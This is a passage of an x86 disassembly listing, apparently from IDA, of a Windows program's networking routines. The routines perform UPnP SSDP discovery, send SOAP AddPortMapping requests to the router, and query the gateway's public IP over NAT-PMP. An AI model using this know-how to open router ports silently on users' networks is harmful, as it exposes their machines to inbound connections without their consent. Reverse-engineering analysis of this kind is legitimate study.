XREF: sub_4025A9:loc_4025F5j mov al, [ebx] test al, al jz short loc_402602 cmp al, 2Fh jz short loc_4025F7 loc_402602: ; CODE XREF: sub_4025A9+53j xor esi, esi jmp short loc_40261A ; --------------------------------------------------------------------------- loc_402606: ; CODE XREF: sub_4025A9+7Dj cmp esi, 3Fh jb short loc_402612 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402612: ; CODE XREF: sub_4025A9+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_40261A: ; CODE XREF: sub_4025A9+5Bj mov al, [ebx] test al, al jz short loc_402628 cmp al, 3Ah jz short loc_402628 cmp al, 2Fh jnz short loc_402606 loc_402628: ; CODE XREF: sub_4025A9+75j ; sub_4025A9+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_402639 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402639: ; CODE XREF: sub_4025A9+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_402660 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402646: ; CODE XREF: sub_4025A9+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_402660: ; CODE XREF: sub_4025A9+94j mov al, [ebx] test al, al jz short loc_40266E cmp al, 30h jl short loc_40266E cmp al, 39h jle short loc_402646 loc_40266E: ; CODE XREF: sub_4025A9+BBj ; sub_4025A9+BFj cmp di, 1 jnb short loc_40267C xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40267B: ; CODE XREF: sub_4025A9+DBj inc ebx loc_40267C: ; CODE XREF: sub_4025A9+C9j mov al, [ebx] test al, al jz short loc_402686 cmp al, 2Fh jnz short loc_40267B loc_402686: ; CODE XREF: sub_4025A9+D7j cmp byte ptr [ebx], 0 jnz short loc_402692 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402692: ; CODE XREF: sub_4025A9+E0j lea eax, [ebp+var_40] push eax call sub_406DC8 mov [ebp+var_58], eax movzx eax, di push eax call sub_406D98 mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_407320 add esp, 0Ch push 6 push 1 push 2 call sub_406D7A mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_4026D9 and [ebp+var_44], 0 loc_4026D9: ; CODE XREF: sub_4025A9+12Aj cmp [ebp+var_44], 0 jnz short loc_4026E6 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_4025A9+134j lea eax, [ebp+var_40] push eax call sub_406DC8 movzx edx, di push edx push eax push [ebp+var_44] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_402713 push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402713: ; CODE XREF: sub_4025A9+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_407380 add esp, 14h lea eax, [ebp+var_45C] push eax call sub_407710 pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_401787 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_40276A push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_4025A9+1AFj push [ebp+var_44] call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_401713 add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_4027D2 push [ebp+var_44] call sub_401542 pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_4027BB mov [ebp+var_468], 0FFFFh loc_4027BB: ; CODE XREF: sub_4025A9+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_4016DC add esp, 0Ch mov [ebp+var_48], eax loc_4027D2: ; CODE XREF: sub_4025A9+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_407320 add esp, 10h cmp [ebp+var_48], 1 jge short loc_402809 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402809: ; CODE XREF: sub_4025A9+245j push offset asc_40F612 ; "\n" push [ebp+var_4C] call sub_407780 pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_402838 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_402838: ; CODE XREF: sub_4025A9+277j push offset a200 ; "200" push [ebp+var_4C] call sub_407780 pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_402859 cmp eax, [ebp+var_460] jbe short loc_40286F loc_402859: ; CODE XREF: sub_4025A9+2A6j push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_40286F: ; CODE XREF: sub_4025A9+2AEj push [ebp+var_44] call sub_4014C2 pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407730 pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_40288F: ; CODE XREF: sub_4025A9+3Cj ; sub_4025A9+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4025A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402896 proc near ; CODE XREF: sub_402B02+50Fp ; sub_402B02+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_4077F0 push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_407380 add esp, 10h lea eax, [ebp+var_2008] push eax call sub_407710 pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_402904 push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_407380 add esp, 18h jmp short loc_402929 ; --------------------------------------------------------------------------- loc_402904: ; CODE XREF: sub_402896+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_407380 add esp, 18h loc_402929: ; CODE XREF: sub_402896+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_407750 pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_407320 add esp, 0Ch call sub_401359 mov edi, eax test eax, eax jz loc_402AFB push [ebp+arg_4] call sub_406DC8 movzx edx, [ebp+arg_8] push edx push eax push edi call sub_401567 add esp, 0Ch test eax, eax jnz short loc_40298B push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_40298B: ; CODE XREF: sub_402896+E5j lea eax, [ebp+var_1008] push eax call sub_407710 pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_401787 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_4029C1 push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_4029C1: ; CODE XREF: sub_402896+11Bj push edi call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_401713 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_402A21 push edi call sub_401542 pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_402A0C mov [ebp+var_2014], 0FFFFh loc_402A0C: ; CODE XREF: sub_402896+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_4016DC add esp, 0Ch mov [ebp+var_4], eax loc_402A21: ; CODE XREF: sub_402896+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_407320 add esp, 10h cmp [ebp+var_4], 1 jge short loc_402A56 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_402A56: ; CODE XREF: sub_402896+1A7j push offset asc_40F612 ; "\n" push [ebp+var_8] call sub_407780 pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_402A83 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402A83: ; CODE XREF: sub_402896+1D7j mov ebx, [ebp+var_8] jmp short loc_402A89 ; --------------------------------------------------------------------------- loc_402A88: ; CODE XREF: sub_402896+1FBj inc ebx loc_402A89: ; CODE XREF: sub_402896+1F0j mov al, [ebx] test al, al jz short loc_402A93 cmp al, 20h jnz short loc_402A88 loc_402A93: ; CODE XREF: sub_402896+1F7j jmp short loc_402A96 ; --------------------------------------------------------------------------- loc_402A95: ; CODE XREF: sub_402896+208j inc ebx loc_402A96: ; CODE XREF: sub_402896:loc_402A93j mov al, [ebx] test al, al jz short loc_402AA0 cmp al, 20h jz short loc_402A95 loc_402AA0: ; CODE XREF: sub_402896+204j xor esi, esi jmp short loc_402AB4 ; --------------------------------------------------------------------------- loc_402AA4: ; CODE XREF: sub_402896+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_402AC2 ; --------------------------------------------------------------------------- loc_402AB4: ; CODE XREF: sub_402896+20Cj mov al, [ebx] test al, al jz short loc_402AC2 cmp al, 30h jl short loc_402AC2 cmp al, 39h jle short loc_402AA4 loc_402AC2: ; CODE XREF: sub_402896+21Cj ; sub_402896+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_407320 add esp, 10h cmp esi, 2 jz short loc_402AF1 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402AF1: ; CODE XREF: sub_402896+245j push edi call sub_4014C2 pop ecx xor eax, eax inc eax loc_402AFB: ; CODE XREF: sub_402896+C6j ; sub_402896+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B02 proc near ; CODE XREF: sub_40356A+6Cp ; sub_404967+1B9p var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_4077F0 push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_402B2B mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_402B2B: ; CODE XREF: sub_402B02+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_407690 add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_406DC8 mov [ebp+var_1818], eax push 76Ch call sub_406D98 mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_406D7A mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_406DC8 mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_406D80 test eax, eax jge short loc_402BCC push offset aShit ; "shit!\n" call sub_407320 pop ecx loc_402BCC: ; CODE XREF: sub_402B02+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_406DA4 cmp eax, 0FFFFFFFFh jnz loc_403082 push offset aXbind___ ; "xbind...\n" call sub_407320 pop ecx jmp loc_403082 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_402B02+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_407320 pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_407710 pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_406DE6 test eax, eax jge short loc_402C60 mov eax, [ebp+var_408] push eax call sub_406D86 xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402C60: ; CODE XREF: sub_402B02+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_407320 pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_406D80 test eax, eax jge short loc_402CA8 mov eax, [ebp+var_408] push eax call sub_406D86 xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402CA8: ; CODE XREF: sub_402B02+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_407320 pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_406DEC test eax, eax jge short loc_402D12 call sub_406DF2 cmp eax, 274Ch jnz short loc_402CFF cmp [ebp+var_404], 3 jnz loc_40307C loc_402CFF: ; CODE XREF: sub_402B02+1EEj mov eax, [ebp+var_408] push eax call sub_406D86 xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402D12: ; CODE XREF: sub_402B02+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_407320 pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx test eax, eax jnz short loc_402D60 push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_407320 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D60: ; CODE XREF: sub_402B02+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_402D91 push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_407320 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D90: ; CODE XREF: sub_402B02+297j inc ebx loc_402D91: ; CODE XREF: sub_402B02+275j mov al, [ebx] test al, al jz short loc_402D9B cmp al, 3Ah jnz short loc_402D90 loc_402D9B: ; CODE XREF: sub_402B02+293j cmp byte ptr [ebx], 0 jz short loc_402DA4 inc ebx jmp short loc_402DA4 ; --------------------------------------------------------------------------- loc_402DA3: ; CODE XREF: sub_402B02+2AAj inc ebx loc_402DA4: ; CODE XREF: sub_402B02+29Cj ; sub_402B02+29Fj mov al, [ebx] test al, al jz short loc_402DAE cmp al, 20h jz short loc_402DA3 loc_402DAE: ; CODE XREF: sub_402B02+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_402DCD ; --------------------------------------------------------------------------- loc_402DBC: ; CODE XREF: sub_402B02+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_402DCD: ; CODE XREF: sub_402B02+2B8j mov al, [ebx] test al, al jz short loc_402DD7 cmp al, 20h jg short loc_402DBC loc_402DD7: ; CODE XREF: sub_402B02+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_407710 pop ecx test eax, eax jnz short loc_402E08 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_407320 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E08: ; CODE XREF: sub_402B02+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_407320 pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_4025A9 add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_402E62 push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_407320 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E62: ; CODE XREF: sub_402B02+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_402511 pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_402E8F push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E8F: ; CODE XREF: sub_402B02+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_402E9B: ; CODE XREF: sub_402B02+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_402EBF cmp eax, [ebp+var_1830] jbe short loc_402EC1 loc_402EBF: ; CODE XREF: sub_402B02+3B3j jmp short loc_402ECF ; --------------------------------------------------------------------------- loc_402EC1: ; CODE XREF: sub_402B02+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_402E9B ; --------------------------------------------------------------------------- loc_402ECF: ; CODE XREF: sub_402B02:loc_402EBFj push offset aService ; "</service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_402EFC push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_402B02+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_402F1C cmp esi, [ebp+var_1888] jb short loc_402F2D loc_402F1C: ; CODE XREF: sub_402B02+410j push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F2D: ; CODE XREF: sub_402B02+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_407690 add esp, 0Ch jmp short loc_402F46 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402B02+44Cj inc esi loc_402F46: ; CODE XREF: sub_402B02+441j mov al, [esi] test al, al jz short loc_402F50 cmp al, 3Eh jnz short loc_402F45 loc_402F50: ; CODE XREF: sub_402B02+448j cmp byte ptr [esi], 0 jz short loc_402F56 inc esi loc_402F56: ; CODE XREF: sub_402B02+451j cmp byte ptr [esi], 0 jnz short loc_402F6C push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_402B02+457j and [ebp+var_1838], 0 jmp short loc_402F8B ; --------------------------------------------------------------------------- loc_402F75: ; CODE XREF: sub_402B02+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_402F8B: ; CODE XREF: sub_402B02+471j mov al, [esi] test al, al jz short loc_402F95 cmp al, 3Ch jnz short loc_402F75 loc_402F95: ; CODE XREF: sub_402B02+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_402511 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_402FC5 lea edi, [ebp+var_400] jmp short loc_402FF5 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_402B02+4CBj inc edi loc_402FC5: ; CODE XREF: sub_402B02+4B8j mov al, [edi] test al, al jz short loc_402FCF cmp al, 3Ah jnz short loc_402FC4 loc_402FCF: ; CODE XREF: sub_402B02+4C7j cmp byte ptr [edi], 0 jz short loc_402FD8 inc edi jmp short loc_402FD8 ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402B02+4DEj inc edi loc_402FD8: ; CODE XREF: sub_402B02+4D0j ; sub_402B02+4D3j mov al, [edi] test al, al jz short loc_402FE2 cmp al, 2Fh jz short loc_402FD7 loc_402FE2: ; CODE XREF: sub_402B02+4DAj cmp byte ptr [edi], 0 jz short loc_402FEB inc edi jmp short loc_402FEB ; --------------------------------------------------------------------------- loc_402FEA: ; CODE XREF: sub_402B02+4F1j inc edi loc_402FEB: ; CODE XREF: sub_402B02+4E3j ; sub_402B02+4E6j mov al, [edi] test al, al jz short loc_402FF5 cmp al, 2Fh jnz short loc_402FEA loc_402FF5: ; CODE XREF: sub_402B02+4C0j ; sub_402B02+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 push [ebp+var_183C] call sub_401076 pop ecx jmp short loc_40307C ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402B02+519j ; sub_402B02+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_407320 pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_406D86 xor eax, eax inc eax jmp short loc_40309D ; --------------------------------------------------------------------------- loc_40307C: ; CODE XREF: sub_402B02+1F7j ; sub_402B02+259j ... inc [ebp+var_404] loc_403082: ; CODE XREF: sub_402B02+EDj ; sub_402B02+FEj cmp [ebp+var_404], 3 jl loc_402C05 mov eax, [ebp+var_408] push eax call sub_406D86 xor eax, eax loc_40309D: ; CODE XREF: sub_402B02+159j ; sub_402B02+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402B02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030A4 proc near ; CODE XREF: sub_403113+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D push 0 lea eax, [ebp+var_4] push eax push ebx call sub_406DF8 cmp eax, 7Ah jnz short loc_4030E8 push ebx call sub_401076 pop ecx mov eax, [ebp+var_4] push eax call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D loc_4030E8: ; CODE XREF: sub_4030A4+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_406DF8 test eax, eax jnz short loc_403104 mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_403104 mov esi, [ebx+10h] loc_403104: ; CODE XREF: sub_4030A4+52j ; sub_4030A4+5Bj push ebx call sub_401076 pop ecx mov eax, esi loc_40310D: ; CODE XREF: sub_4030A4+1Aj ; sub_4030A4+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_4030A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403113 proc near ; CODE XREF: sub_40356A+17p ; sub_404967+15Ep var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_4030A4 mov [ebp+var_84], eax test eax, eax jz loc_40331B mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_406D98 mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_406DE0 push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_407320 pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_406D7A mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_407690 add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_406D98 mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_406DA4 jmp loc_40330A ; --------------------------------------------------------------------------- loc_4031DE: ; CODE XREF: sub_403113+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_407320 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_406DE6 test eax, eax jge short loc_403225 push esi call sub_406D86 xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_403225: ; CODE XREF: sub_403113+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_407320 pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_406D80 test eax, eax jge short loc_40325C push esi call sub_406D86 xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_40325C: ; CODE XREF: sub_403113+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_407320 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push esi call sub_406DEC test eax, eax jge short loc_4032A4 call sub_406DF2 cmp eax, 274Ch jnz short loc_40329A cmp ebx, 9 jnz short loc_403303 loc_40329A: ; CODE XREF: sub_403113+180j push esi call sub_406D86 xor eax, eax jmp short loc_40331B ; --------------------------------------------------------------------------- loc_4032A4: ; CODE XREF: sub_403113+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_407320 pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_403303 push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_406DE0 push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_407320 add esp, 0Ch push esi call sub_406D86 mov eax, [ebp+var_84] jmp short loc_40331B ; --------------------------------------------------------------------------- loc_403303: ; CODE XREF: sub_403113+185j ; sub_403113+1AAj inc ebx shl [ebp+var_9C], 1 loc_40330A: ; CODE XREF: sub_403113+C6j cmp ebx, 0Ah jl loc_4031DE push esi call sub_406D86 xor eax, eax loc_40331B: ; CODE XREF: sub_403113+23j ; sub_403113+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403322 proc near ; CODE XREF: sub_40356A+33p ; sub_404967+179p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h 